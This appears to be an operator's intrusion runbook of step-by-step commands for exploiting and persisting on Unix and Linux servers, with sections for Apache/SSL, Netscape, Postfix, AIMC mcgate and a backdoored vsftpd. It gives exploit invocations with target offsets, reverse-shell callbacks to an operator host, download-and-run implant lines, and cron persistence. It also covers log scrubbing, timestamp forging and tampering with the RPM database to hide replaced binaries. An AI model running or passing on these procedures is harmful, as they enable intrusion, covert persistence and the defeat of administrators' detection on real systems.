/usr/lib/locale/iso_8859_1 +-ls -t /usr/lib/locale/iso_8859_1/LC_CTYPE +-touch /usr/lib/locale/iso_8859_1 /usr/lib/locale/. +touch -r /usr/lib/locale/iso_8859_1 /usr/lib/locale/. +-ls -t /usr/lib/locale +ls -al /var/dt/appconfig | grep appmanager +ls -al /var/dt | grep appconfig +-ls -t /var/dt/ +-ls -t /var/dt/appconfig +touch -r /var/dt/. /var/dt/appconfig/appmanager +touch -r /var/dt/. /var/dt/appconfig/. +-ls -t /var/dt/appconfig +-ls -t /var/dt/ + +### Clean up directory +-ls -t +-rm sendmail empty su.so.2 b.tar exp su.so.2.789x su.so.2.6x +-ls -t + +### Check crontabs and logs if you used 'at' +-ls -t /var/adm +-ls -t /var/spool/cron +-ls -t /var/spool/cron/atjobs +touch -r /var/spool/cron/crontabs /var/spool/cron/atjobs +-tail -40 /var/cron/log + +### Toast and sgrep your initial exploit + + +####################################### +### EVENTSTART +####################################### + +### might reboot box on first try; after the reboot, it should work +### if you exploited an http service (like w/ EMBERSNOUT) make sure that +### service is started upon reboot; RH9.0 doesn't restart http by default +### unless the admin changed the config + + +### verify http is restarted at reboot: +-ls -t /etc/init.d +-ls -t /etc/rc.d/rc3.d +-ls /etc/rc.d/rc*.d/*htt* +chkconfig --list |grep htt +runlevel + + +### start a cron job to call nopen in case of a reboot (if you won't be able to reexploit) +### set the time to remove itself to the next hour (use both local and UTC time) + +vi /current/down/crontab: +0,5,10,15,20,25,30,35,40,45,50,55 * * * * sh -c "D=-cPITCH_IP:PORT /tmp/.httpd-lock/crond" +0 1,17 * * * crontab -r + +### on target: +date; date -u +-ls -t /var/log/cron +-ls -t /var/spool/cron +-cat /etc/syslog.conf +crontab -l +-put /current/down/crontab crontab +-cat crontab +crontab crontab +crontab -l +date + + + +### upload eventstart: +-put /current/up/h h + +-shell +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE +id +pwd +ls -l +PATH=. sendmail +exit +exit + + +### remove crontab after you elevate (or reboot - haha!) +crontab -r + +####################################### +# PTRACE/FORKPTY +####################################### + +### new exploit is ptrace-kmod; it's a kernel exploit, no suid needed. +### works on linux 2.2 -> 2.4, ex) RH8.0 and MDK 9.0 +### might have to run it twice before it works. +### other ptraces are older and need to run against a setuid program that won't log +### like /usr/sbin/usernetctl, /usr/sbin/userhelper, or /usr/sbin/traceroute +# find / -fstype nfs -prune -o -type f \( -perm -4000 \) -user root -ls > o +# get o + +#### get ptrace, forkpty, and nopen tarball ready to send: +cd /current/up +cp ptrace pt +cp noserver sendmail +cp forkpty fp +tar cvf 1u.tar pt sendmail fp +uuencode 1u.tar 1u.tar > 1u.tar.uu + +nc -l -p NETCAT_PORT < 1u.tar.uu + +#### to elevate and also get nopen there: +cd /tmp +mkdir .scsi +cd .scsi +telnet LOCAL_IP NETCAT_PORT > src + Connection closed by foreign host. +ls -la +uudecode src +ls -la +tar xvf 1u.tar +ls -la +chmod 700 fp sendmail pt +./fp + +#### at sh-prompt, type: +tty +./pt +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +id +PATH=. sendmail + + +######################################## +# TFTPD - upload image to router +######################################## + + +### get on redirector with nopen + +mkdir /tmp/.scsi +chmod 777 /tmp/.scsi +-cd /tmp/.scsi +-put ../up/tftpd_clean sched + +### name the image EXACTLY how it will appear on the target - get tech guidance + +-put image image.name +chmod 777 image.name + +### start tftpd listener +#Example ./sched -l -a 10.0.0.14 -s /tmp/.scsi +# the -a IP option is the PITCH IP that talks to the router (if multiple interfaces) + +-shell +./sched -l -a PITCH_IP -s /tmp/.scsi +DONE +exit + +-rm image.name sched +-cd /tmp +-rm /tmp/.scsi +-lt + + +######################################## +# SAMPLEMAN / ROUTER TOUCH +######################################## + + +### redir +-tunnel +l 2323 TARGET_IP 23 + + +### Locally: +telnet 127.0.0.1 2323 + +# userid = <> +# passwd = <> + +term length 0 +sh user +sh ver +sh arp +sh ip rout +sh proc cpu +enable +# enable password = <> +sh run +sh start +sh cdp neighbo detail +sh flash all +# use the chart to figure out mem location for the next command if applicable +sh mem
+logout + +######################################## +# ENGAGENAUGHTY +######################################## +# Apache and SSL exploit on Linux on Dec ALpha +# ssl must be OpenSSL 0.9.6d or earlier + + +Usage: ./apache-ssl-linux-alpha <-i hostname> [-t arch] [-p port] [-n ] [-a 0x
] + -t target architecture (default is 00) + -p SSL port (default is 443) + -a 0x
the free location found via objdump + -n open N apache connections before sending the shellcode (default is 20) + -m maximum number of open connections (default is 50) + -v verbose mode + + -c command to run (default is "ls > /tmp/ls".)Supported architectures: + +target archs: +00 - RedHat Linux 7.0 Apache/1.3.12 (Unix) (Red Hat/Linux) mod_ssl/2.6.6 OpenSSL/0.9.5a + +Examples: ./apache-ssl-linux-alpha -a 10 -v localhost + ./apache-ssl-linux-alpha -p 1234 192.168.0.1 -n 40 -m 80 + + examples of commands: +1. xterm: /usr/X11R6/bin/xterm -display 1.1.1.1:0 -e /bin/sh +2. wget: First: echo -e "HTTP/1.0 200\n" > new; cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail; nc -v -l -p 53 < sendmail + then: cd /tmp;wget http://1.1.1.1:53/sendmail; chmod +x /tmp/sendmail;PATH=/tmp sendmail;rm -f sendmail +3. xinetd (watch for logging): echo -e "service squid\n{\nsocket_type = stream\nwait = no\nuser = apache\nserver = /bin/sh\n}" > /tmp/.scsi; /usr/sbin/xinetd -f /tmp/.scsi + + + +scan ssl TARGET_IP + +### scripted window +nc -l -vv -p RANDOWM + +-tunnel +l 11443 TARGET_IP 443 +r RANDOM + + + +./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "(sh&0 2>&0)" + # or for ksh: +./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "(ksh -c "sh &0 2>&0")" + +xhost + +-tunnel +r 6006 127.0.0.1 6000 + +### This one pops back an xterm (be patient for it to pop back and keep mouse clear of window): +./apache-ssl-linux-alpha -i PITCH_IP -p SSL_PORT -v -c "/usr/bin/X11/xterm -display PITCH_IP:6 -e /bin/sh" + +### Cleaning: +/var/log/httpd/error_log + + +############################################################################ +# EXPLOITRETURN +# redflag 2.0 and redhat 9.0 running PHP +# found in cgi-bin for sybil build + +-scan http TARGET_IP +HTTP/1.1 200 OK +Date: Wed, 25 Feb 2004 22:02:11 GMT +Server: Apache/1.3.12 (Unix) (Black Cat/Linux) mod_ssl/2.6.4 OpenSSL/0.9.5a PHP/4.0.0 rus/PL29.4 + +-tunnel +l 80 TARGET_IP +# choose 79, 5555 +r 79 + or +r 5555 + +telnet 127.0.0.1 80 +GET /HTTP/1.0 + +telnet 127.0.0.1 80 +GET /ppd/product_user/reg_edu.php HTTP/1.0 +# hit return twice +#response looking for: HTTP/1.1 302 Found + +# do not use option 1 or 4 since it brings inconsistent results +xp_server +# uuencoded rat +uuencode sendmail sendmail > sendmail.uu +nc -l -v -p 79 < sendmail.uu + +./xp_serial -i127.0.0.1 -p80 -d"/ppd/product_user/reg_edu.php" -l PITCH_IP -n79 -t3 + + or + +# no uuencode of rat +nc -l -v -p 5555 < sendmail +./xp_serial -i127.0.0.1 -p80 -d"/ppd/product_user/reg_edu.php" -l PITCH_IP -n5555 -t2 +# after rat upload, nc command + +-nstun TARGET_IP +# will be nobody - need to elevate with ptrace or other +# need to clean the following logs +/var/log/httpd/error_log +/var/log/httpd/access_log + + + +##################################################### +# EGGBASKET +##################################################### + +# Remote exploit against the Netscape Web Server which leverages +# a buffer overflow to obtain remote access + +# Netscape Enterprise/3.6 and Netscape Enterprise/3.6 SP1 +# works against AIMC Netscape servers also with right versions + +# Netscape-Enterprise 3.6: +# solaris 2.6(sun4m only), sun4u & sun4m solaris 2.7 - 2.9 + +# Netscape-Enterprise/3.6 SP1: +# sun4m solaris 2.8, sun4m & sun4u solaris 2.9 + +# need local to elevate such as SMOOTHY and EXTREMEPARR + +# Verify version of Netscape if target did not change version string + +-scan http TARGET_IP + +# from redirector +-tunnel +l 80 TARGET_IP + +# locally + +nc 127.0.0.1 80 +GET / HTTP/1.0 + + + +# on redirector +-tunnel +l 80 TARGET_IP +r RANDOM_HIGH_PORT1 + +# locally window1, successful exploit will call back here with a shell if +# your -c command tells it to. +nc -vv -l -p RANDOM_HIGH_PORT1 + +# Usage: xp_ns-httpd + +# i7 - program counter, location we are jumping to; fp - stack location; 04 - where our code is + +Targets: i7 fp o4 + Version: 01: Netscape-Enterprise/3.6/sun4u/5.8/fire115/aimc 0xff2a2a74 0xff2e6270 0x13ab60 + Version: 02: Netscape-Enterprise/3.6/sun4m/5.8/theora/aimc 0xef722a74 0xef766270 0x13a360 + Version: 03: Netscape-Enterprise/3.6/sun4m/5.8/unixtest-4/aimc 0xef6e2a74 0xef726270 0x13a060 + Version: 04: Netscape-Enterprise/3.6/sun4u/5.8/unixtest-1/aimc 0xff2a2a74 0xff2e6270 0x13a160 + Version: 05: Netscape-Enterprise/3.6/sun4u/5.8/fire121/aimc 0xff2a2a74 0xff2e6270 0x13ab60 + Version: 06: Netscape-Enterprise/3.6/sun4m/5.8/arc/aimc 0xef6e2a74 0xef726270 0x139d60 + Version: 07: Netscape-Enterprise/3.6/sun4u/5.7/baltimore/aimc 0xff2a2a74 0xff2e6270 0x13a360 + Version: 08: Netscape-Enterprise/3.6/sun4u/5.7/grandmama/aimc 0xff2a2a74 0xff2e6270 0x13a260 + Version: 09: Netscape-Enterprise/3.6/sun4m/5.7/unixtest-3/aimc 0xef722a74 0xef766270 0x139360 + Version: 10: Netscape-Enterprise/3.6/sun4m/5.6/elsa/aimc 0xef722a74 0xef766270 0x13a060 + Version: 11: Netscape-Enterprise/3.6/sun4m/5.6/gazoo/aimc 0xef722a74 0xef766270 0x13a060 + Version: 12: Netscape-Enterprise/3.6/sun4m/5.6/loneranger/aimc 0xef722a74 0xef766270 0x139360 + Version: 13: Netscape-Enterprise/3.6/sun4u/5.9/fire108/aimc 0xff2a2a74 0xff2e6270 0x139f60 + Version: 14: Netscape-Enterprise/3.6/sun4m/5.9/mack/aimc 0xef6e2a74 0xef726270 0x139d60 + Version: 15: Netscape-Enterprise/3.6/sun4u/5.9/thing/aimc 0xff2a2a74 0xff2e6270 0x139f60 + Version: 16: Netscape-Enterprise/3.6/sun4u/5.9/thing 0xff2a2a74 0xff2e6270 0x155090 + Version: 17: Netscape-Enterprise/3.6/sun4u/5.9/fire117 0xff2a2a74 0xff2e6270 0x155090 + Version: 18: Netscape-Enterprise/3.6/sun4m/5.6/loneranger 0xef722a74 0xef766270 0x153f78 + Version: 19: Netscape-Enterprise/3.6/sun4u/5.9/thing 0xff2a2a74 0xff2e6270 0x155290 + Version: 19: Netscape-Enterprise/3.6/sun4u/5.8/blade1000 0xff2a2a74 0xff2e6270 0x155f90 + Version: 20: Netscape-Enterprise/3.6sp1/sun4u/5.9/thing 0xff2a2c64 0xff2e6750 0x155390 + Version: 21: Netscape-Enterprise/3.6sp1/sun4m/5.8/theora 0xef722c64 0xef766750 0x155390 + Version: 22: Netscape-Enterprise/3.6sp1/sun4m/5.9/mack 0xef6e2c64 0xef726750 0x155090 + + +# -f webpath: usually just / +# -c command: "(ksh -c \"sh &0 2>&0\")&" +# -7 i7: have seen 0xff2a2a74, 0xef722a74, 0xef6e2a74 +# -6 sp: these work 0xff2e6270, 0xef766270, 0xef726270 +# -4 o4: , have seen 0x153090, when running AIMC, use 0x139360 +# -d destination target +# -p port: +# -s sleep number of seconds between requests +# -h usage +# -x range in the heap. +# -i heap increment. another good one to try is 0x80 + +# locally window2 +# NOTE: Once you have evidence that the exploit worked (say your shell calls back), +# you can ^C in the exploit window to stop it spinning. + +# Example 1 assumes default install: + +Example 1: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -d 127.0.0.1 -p 80 + +# Example 2, Netscape was installed with AIMC: + + Example 2, AIMC box: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -d 127.0.0.1 -p 80 -4 0 +x139360 -s 10 -x 64 + + Example 3, low level mode: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -7 0xff2a2a74 -6 +0xff2e6270 -d 127.0.0.1 -p 80 -4 0x13a960 -s 10 -x 16 + +# Example 4, Netscape 3.6 SP1: + + Example 4, SP1: xp_ns-httpd -f / -c "(ksh -c \"sh &0 2>&0\")&" -7 0xff2a2c64 -6 0xff2e6750 +-d 127.0.0.1 -p 80 + +# Example 5, a busy Netscape 3.6 SP1: + + Example 5: retry, but faster and more complete: xp_ns-httpd -f / -c "(ksh +-c \"sh &0 2>&0\")&" -d 127.0.0.1 -s 5 -i +0x80 + + +# Give troubleshooting instructions: +# There are five steps in troubleshooting EGGBASKET v2: +# Determine if the webserver is running Netscape-Enterprise 3.6 or 3.6 SP1. + # nc 127.0.0.1 80 + GET / HTTP/1.0 + + + +# Determine the OS based upon touch information or MAC address. + +# Maybe the server is busy serving requests, therefore try the + +# following additional options: + + -s 5 -i 0x80 + +# Maybe try a wider range in hitting the NOP sled, then try the +# following additional options: + + -x 64 -4 0x139360 # AIMC + + or + + -x 64 -4 0x153090 # Normal install + +# Is the target running the AIMC version, then try the following additional option: + + -4 0x139360 + +# The line "Errorlog" in $SERVERROOTDIR/config/magnus.conf tells where logging +# occurs + +# If the exploit fails, it is logged as such: + +# [18/Mar/2002:08:59:38] info (23834): successful server startup +# [18/Mar/2002:08:59:38] info (23834): Netscape-Enterprise/3.6 SP1 B99.036.2117 +# [18/Mar/2002:08:59:38] verbose (23834): livewireInit reports: Starting Server-Side JavaScript build: 99.036.2332 + +###################### EXCEEDSALON-AIX ##################### +## local elevation for AIX +## does not log but check anyway +# elevation as user +mkdir /tmp/.pci +cd /tmp/.pci +# use ftshell, uudecode copy/paste, telnet/nc, or wget to put +# /current/up/xp_lquerypv-aix5.1 up as s +./s + +# elevation in nopen + +mkdir /tmp/.pci +-cd /tmp/.pci +-put /current/up/xp_lquerypv-aix5.1 s +-shell +id +(user) +./s +id +(euid=root) +./sendmail +/tmp/exit + +###################### ESTOPFORBADE ##################### +# local root elevation against gds_inet_server under +# Cobalt Linux release 6.0 +# for complexpuzzle + +# on target from nopen +-lt /usr/local/sbin/gds_inet_server +mkdir /tmp/.pci +-cd /tmp/.pci +pwd +-put /current/up/xp_gds_inet_server g +-shell +id +./g +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +id + +# try up to 2 times for elevation + +##################################################### +# ENTERSEED +##################################################### +# +# Apparently, 30 or so minutes and you can bail...no joy. +# +## Set up redirector +-tunnel +l 2500 TARGET_IP 25 +r NETCAT_PORT 127.0.0.1 NETCAT_PORT + + +## set up a netcat listener in a local scripted window +## to upload a STATICALLY COMPILED NOPEN +nc -l -v -p NETCAT_PORT < noserver-static + +## LOCALLY in another window: OPTIONAL: Alert to show we hit +while [ 1 ] ; do netstat -an | grep NETCAT_PORT.*LISTEN || break ; sleep 2 ; done ; beeps 3333 + +## run exploit in a local scripted window +#Usage: ./enterseed.py [-search] [-u] [-fuploaded-filename] +#Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) +# 2: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) +# 3: ASP Linux 9 RPM (postfix-2.0.8-1asp) + +# NOTE: THERE ARE OTHERS BEYOND 3....6 is Debian 3.1 for instance.... + +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 -uroot@TARGET_IP +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 -uroot@TARGET_IP +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 3 -uroot@TARGET_IP -search1 + +## once the exploit calls back and nopen uploaded connect to noserver +-nstun TARGET_IP + +## check to see if you are chroot'd +-lt / + +## if it looks like +#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 corrupt +#drwx-wx--- 2 postfix postdrop 4096 Apr 27 04:35 2003 maildrop +#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 saved +#drwxr-xr-x 3 root root 4096 Nov 17 07:22 2004 usr +#drwxr-xr-x 18 root root 4096 Nov 17 07:22 2004 . +#drwxr-xr-x 2 root root 4096 Nov 17 07:22 2004 lib +#drwx------ 2 postfix root 4096 Nov 17 07:22 2004 hold +#drwxr-xr-x 26 root root 4096 Nov 17 07:36 2004 .. +#drwxr-xr-x 2 root root 4096 Nov 18 12:54 2004 etc +#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 active +#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 bounce +#drwx------ 18 postfix root 4096 Dec 1 12:37 2004 deferred +#drwx------ 3 postfix root 4096 Dec 1 14:53 2004 flush +#drwxr-xr-x 2 root root 4096 Dec 1 14:53 2004 pid +#drwx------ 15 postfix root 4096 Dec 8 14:00 2004 defer +#drwx------ 2 postfix root 4096 Mar 4 15:34 2005 private +#drwx--x--- 2 postfix postdrop 4096 Mar 4 15:34 2005 public +#drwxrwxrwx 19 postfix root 4096 Mar 7 11:36 2005 incoming +## this means you are in a chrooted environment without any binaries +## (no ls, netstat, ps, which, w, ...) + +## IF NOT CHROOTED, continue to clean logs + +## IF CHROOTED +-cd incoming + +-put /current/up/h h +-put /current/up/b b +-put /current/up/s s +-put /current/up/noserver ncd + +## change permissions +./s h +./s b +./s ncd +./s . + +## run break chroot routines +./h + +## you should be able to connect to a new nopen running +-nstun TARGET_IP 32755 + +## CLEANUP +## the location of the chrooted environment was /var/spool/postfix/ +-lt /var/spool/postfix/ +-lt /var/spool/postfix/incoming + +-rm b h s ncd a.. + +## CLEAN LOGS +## check logs /var/log/mail* /var/adm/mail* /var/log/messages /var/adm/messages +grep "stripping too many comments" /var/adm/mail* +grep "stripping too many comments" /var/log/mail* +grep "signal 11" /var/log/mail* +grep "signal 11" /var/adm/mail* +grep "bogus file" /var/adm/mail* +grep "bogus file" /var/log/mail* +grep "writable by everyone" /var/adm/mail* +grep "writable by everyone" /var/log/mail* +grep PITCH_IP /var/log/messages +grep PITCH_IP /var/adm/messages + +## if any of the directories or files were changed to world writable +## change them back because postfix will panic +chmod PREV_PERM /var/spool/postfix/incoming + + + + +######################################## +# Exploits a vulnerability in the Postfix mail server. +# Postfix runs on FreeBSD, Linux, Solaris, and most Unix servers. +# This exploit works for the default binary packages in SuSE 9.0-9.2, ASP Linux 9, and Debian 3.1 + +# must elevate to get root + + # postfix 2.0.14-41 on SuSE 9.0 + # postfix 2.0.19_20040312-11 on SuSE 9.1 + # postfix-2.0.8-1asp on ASP Linux 9 + # postfix-2.1.5 on SuSE 9.2 + # postfix-2.1.5 on Debian 3.1 +# +# ENTERSEED expects the DUL Encoder to be in its current directory, as well + # as write permission to that directory. +# + # In the event of a chroot'ed environment, shared libraries will not be usuable. + # Any uploaded files (such as noserver) must be statically compiled. +# +# -tunnel +# r NETCAT_PORT +# l RANDOM TARGET_IP TARGET_PORT + + + +./enterseed.py 127.0.0.1 RANDOM PITCH_IP NETCAT_PORT [-search] [-u] [-f] + # Usage: ./enterseed.py [-search] [-u] [-f] + # Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) from short hostname (0-19 chars) + # 2: SuSE 9.0 RPM (postfix-2.0.14-41) from long hostname (17-43 chars) + # 3: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) from long hostname (17-43 chars) + # 4: ASP Linux 9 RPM (postfix-2.0.8-1asp) from long hostname (17-43 chars) + # 5: SuSE 9.2 RPM (postfix-2.1.5) + # 6: Debian 3.1 (sarge) DEB (postfix-2.1.5) +# +# +# Chroot Example: +# +# Begin like above. Once connected with noclient, -cd to incoming and upload the statically compiled +# EVENTSTART, the breakchroot program, and the setperms program (for this example, these +# binaries are named h, b, and s, respectively. Since EVENTSTART is unable to take command-line +# arguments or environment variables, h expects breakchroot to be named "b" and breakchroot +# expects noserver to be named "ncd." The names are all configurable, but require a recompile. +# Be sure to compile statically!) +# +# After uploading, use s to set the permissions on b, ncd and the current directory: +# (remote)$ ./s b +# (remote)$ ./s ncd +# (remote)$ ./s . +# These files should all be set to mode 777 now. +# +# Now run EVENTSTART: +# (remote)$ ./h +# EVENTSTART will execute b (the breakchroot program) with root privileges, which will in turn break +# out of the chroot and exec ncd (noserver) from the root directory and with root privileges. +# The breakchroot program creates a directory "a.." while breaking chroot. Remember to delete +# this directory as well! +# Now connect to the new noserver: +# (local)$ ./noclient TARGET_IP:32755 +# (remote)# id +# uid=0(root) gid=0(root) groups=0(root) +# (remote)# pwd +# / +# +# Make sure to delete all uploaded files/directories and reset directory permissions! +# +# Troubleshooting: +# If EVENTSTART fails and says something like "No such file or directory" make sure all binaries +# have been statically compiled. +# If EVENTSTART fails and says something like "Permission denied" make sure all binaries are set +# to mode 777. If not, use the setperms program (s). + + + + +##################################################### +# EMPTYBOWL +##################################################### + +# vulnerability in MailCenter Gateway (mcgate) - an application that comes +# with Asia Info Message Center mailserver; buffer overflow allows a string +# passed to popen() call to be controlled by an attacker; arbitraty cmd execute +# known to work only for AIMC Version 2.9.5.1 +# may get one shot only and then server will crash +# works on solaris 2.6-2.10 +# test - fire115 + +# make sure not windows target running 3389 but unix target + +-scan mail TARGET_IP +-scan 3389 TARGET_IP + +# Usage: ./emptybowl.py +# --NOTE: All spaces in cmd-string will be replaced by \t's + +# on redirector + +-tunnel +l 3389 TARGET_ip +r LOW_PORT_1 +r LOW_PORT_2 + +# local may be needed to elevate privileges + +# DO NOT use the command below, since only have 1 shot at target + +#./emptybowl.py 127.0.0.1 3389 'mkdir /tmp/.scsi ; cd /tmp/.scsi && telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode && uncompress sendmail.Z && chmod 700 sendmail && PATH=. D=-cPITCH_IP:NOPEN_PORT sendmail;' + + +(sh&0 2>&0) + +##### use this one +nc -l -vv -p 33333 +./emptybowl.py TARGET_IP 3389 "/usr/bin/ksh -c \"sh&0 2>&0\"" + +##### or this with doublet: +./emptybowl.py TARGET_IP 3389 "/usr/bin/ksh -c \"cat < /dev/tcp/PITCH_IP/33333 | /bin/sh 2>&1 | cat > /dev/tcp/PITCH_IP/44444 2>& 1\"" + +# on redirector +netstat -an | grep LISTEN + +# look for low ports to use for doublet that are not +# being used on the redirector (21,22,22,53,79,80,443...) + +# substitute LOW_PORT_1, LOW_PORT_2 with ports decided +# from the above netstat command + +doublet -O LOW_PORT_1 LOW_PORT_2 + +# change LOW_PORT_1, LOW_PORT_2, and PITCH_IP + +./emptybowl.py 127.0.0.1 3389 "/bin/ksh -c \"cat < /dev/tcp/PITCH_IP/LOW_PORT_1 | /bin/sh 2>&1 | cat > /dev/tcp/PITCH_IP/LOW_PORT_2 2>& 1\"" + +#./emptybowl.py 127.0.0.1 3389 '(telnet PITCH_IP LOW_PORT_1 ; sleep 1) | /bin/sh | telnet PITCH_IP LOW_PORT_2' + +# in doublet window +unset HISTSIZE +unset HISTFILESIZE +unset HISTFILE +w +pwd +id +cd /tmp +mkdir .scsi +cd .scsi + +# locally +packrat RAND_PORT + # packrat command +gedit sendmail.Z.uu + +# in doublet +pwd # make sure in /tmp/.scsi +/usr/bin/uudecode; ls -latr +copy/paste gedit contents into this window +uncompress sendmail.Z +ls -l +chmod 700 sendmail +PATH=. sendmail + +# from redirector +-nstun TARGET_IP + +# restart mcgate + + doublet window on TARGET_IP + + +# close tunnels on PITCH_IP + +# start a new NOPEN with 'at' to avoid inheritance of listening socket +-cd /tmp/.scsi +echo "./sendmail" | at now +# from PITCH_IP +-nstun TARGET_IP:32755 + +#burn this NOPEN to free up socket; from original NOPEN +# started (32754) on TARGET_IP +-burnBURN + +# NOPEN 2: +# now restart mcgate in new NOPEN - use at again to prevent mcgate +# from being terminated on exit. + +-cd /opt/aimc/setup +echo "./mcgate" | at now +-cd /tmp/.scsi +ps -ef | grep mcgate + +# ELEVATE with extremeparr (dtappgather) + +# after ELEVATE with extremeparr (dtappgather) +# and restarting noserver (sendmail), connect with + +-nstun TARGET_IP:32754 +-rm sendmail +# burn nopen window on TARGET_IP with id of aimc +id +-burnBURN + +# +# cleanup + +-lt /opt/aimc/setup/ + +# remove core file + +-rm /opt/aimc/setup/core + +# in mcgate's directory; the following will be appended to mcgate.: +Fri Feb 11 16:36:49 2005: cmdopen + --- : 0 : current cmd: uapi -u -f userPassword -e ******************************************** +Fri Feb 11 16:36:49 2005: cmdopen + --- : 0 : Result: rc= -5 len=0 + +-get /opt/aimc/setup/mcgate.YYYYMMDD + +#locally +cp /current/down/../HOSTNAME.IP/opt/aimc/setup/mcgate.YYYYMMDD /current/up/m + +# remove above entries; please leave the mcgate +# start values even the one we started. For example, leave: + +Fri Apr 8 16:12:28 2005: main + --- : 0 : Current server port is 3389 + +vi /current/up/m + +# on target +-put /current/up/m m +-ls -n /opt/aimc/setup/mcgate.YYYYMMDD +cat m > /opt/aimc/setup/mcgate.YYYYMMDD +-tail /opt/aimc/setup/mcgate.YYYYMMDD +# use -touch -t command from -ls -n output to +# reset timestamp on /opt/aimc/setup/mcgate.YYYYMMDD and +# /opt/aimc/setup. For example: +-touch -t 1112992709:1112992787 /opt/aimc/setup/mcgate.YYYYMMDD +-touch -t 1112992709:1112992787 /opt/aimc/setup + +-rm m + +at -l +-lt /var/spool/cron /var/spool/cron/atjobs +-touch /var/spool/cron/crontabs /var/spool/cron/atjobs + +-cd .. +-rm .scsi + +###### PORKED VSFTP Server ################################# + +# check to see if can use DIZZYTACHOMETER to remove mismatched vsftpd + +rpm --version + +whereis vsftpd + +rpm -qf /usr/sbin/vsftpd + +rpm -V vsftpd-1.1.3-8 + +-lt /usr/lib/librpm-4.1.so /usr/lib/librpmdb-4.1.so /usr/lib/librpmio-4.1.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +# or +-lt /usr/lib/librpm-4.2.so /usr/lib/librpmdb-4.2.so /usr/lib/librpmio-4.2.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +-lt /usr/sbin/vsftpd +# normal vsftpd md5sum: 11111ecd2d3ab44015eae3592fcfaec7 +# porked vsftpd md5sum: bde8b06829df05be8be4b5972a2d4a39 +md5sum vsftpd + +-put /current/up/it it +./it /usr/sbin/vsftpd + +cp /usr/sbin/vsftpd ? +-put /current/up/vsftpd vsftpd +cp vsftpd /usr/sbin/vsftpd +# use itime results to reset vsftpd times to original settings +./it /usr/sbin/vsftpd + +service vsftpd stop +service vsftpd start + +######## Trigger porked vsftpd + +### in local window, get nopen ready +packrat -z NETCAT_PORT + +### on redirector, get nopen listener ready +-nrtun NOPEN_PORT + + +### on redirector, set up tunnel, use a "pork source port" from list below +-tunnel +l 21 TARGET_IP 21 SPORT +r NETCAT_PORT + +### in scripted local window, send pork trigger + +#Usage: ./client -t|-u timeadj sport hostname dport command +#sport: 3 51 3854 5671 8213 12634 16798 23247 35139 47923 53246 63201 + +#./client -t|-u [tcp/udp] timeadj sport [(valid source ports for the server are: 3, 51, 3854, 5671, 8213, 12634, 16798, 23247, 35139, 47923, 53246, 63201)] hostname[Host IP] dport [(port on which PORKified daemon is listening)] command" + +./client -t 0 SPORT 127.0.0.1 21 "cd /tmp;mkdir -p .scsi && cd .scsi; cat < /dev/tcp/PITCH_IP/NETCAT_PORT > sendmail.uu && uudecode sendmail.uu && chmod 755 sendmail && PATH=. S=1 D=-cPITCH_IP:NOPEN_PORT ./sendmail" + + + +# use DIZZYTACHOMETER to hide package mismatches + +############## DIZZYTACHOMETER ################# +# Most Linux distributions contain a RPM database which stores information on installed files. Thus, if a system file is +# modified, the rpm "Verify" command easily alert the sysadmin of the changed file. DIZZYTACHOMETER alters a computer's +# RPM (4.1 or higher) database in order to hide a modified file. This is essential when dropping down implants such +# as Jackladder and Pork. + +# Works on Redhat 8 (rpm version 4.1), Redhat 9 (rpm version 4.2), and Mandrake +9.2 (verison 4.2) +rpm --version + +./DizzyTach -p "packageName" [-f "filepath\file"] [-d] [-r] [-c] [-s] [-m] [-t] +[-q] [-V] + + or + +ARGS="-p "packageName" [-f "filepath\file"] [-d] [-r] [-c] [-s] [-m] [-t] [-q] [-V] [-R]" ./DizzyTach + +# library dependencies in /usr/lib: +# +# librpm-4.1.so +# librpmdb-4.1.so +# librpmio-4.1.so +# libpopt.so +# libbeecrypt.so +# libbz2.so + +-lt /usr/lib/librpm-4.1.so /usr/lib/librpmdb-4.1.so /usr/lib/librpmio-4.1.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +# or + +-lt /usr/lib/librpm-4.2.so /usr/lib/librpmdb-4.2.so /usr/lib/librpmio-4.2.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz +2.so + +example: + +# Suppose we want to hide /usr/sbin/vsftpd frpm RPM + +$ whereis vsftpd +vsftpd: /usr/sbin/vsftpd + +# Find the rpm package that is responsible for this file. +$ rpm -qf /usr/sbin/vsftpd +vsftpd-1.1.3-8 + + +# Run the rpm "Verify" command on the vsftpd-1.1.3-8 package. +rpm -V vsftpd-1.1.3-8 +S.5....T /usr/sbin/vsftpd + +# S, 5, and T were output. This means the vsftpd binary has a different size, md5, and modification time than the +# rpm database. + +-put /current/up/DIZZYTACHSTATIC rpmStatic +# final command would be: +$ ./rpmStatic -p vsftpd-1.1.3-8 -f /usr/sbin/vsftpd -s -m -t -d -r -c + Reset: OK + SigRepair: NO + Lookup OK Sig Exists + Reset: OK + -d: OK + -m: UPDATED + -s: UPDATED + -t: UPDATED + Commit: OK Tested write of 8392 bytes + Performed write of 8392 bytes + Reset: OK + -r: OK + Commit: OK Tested write of 8392 bytes + Performed 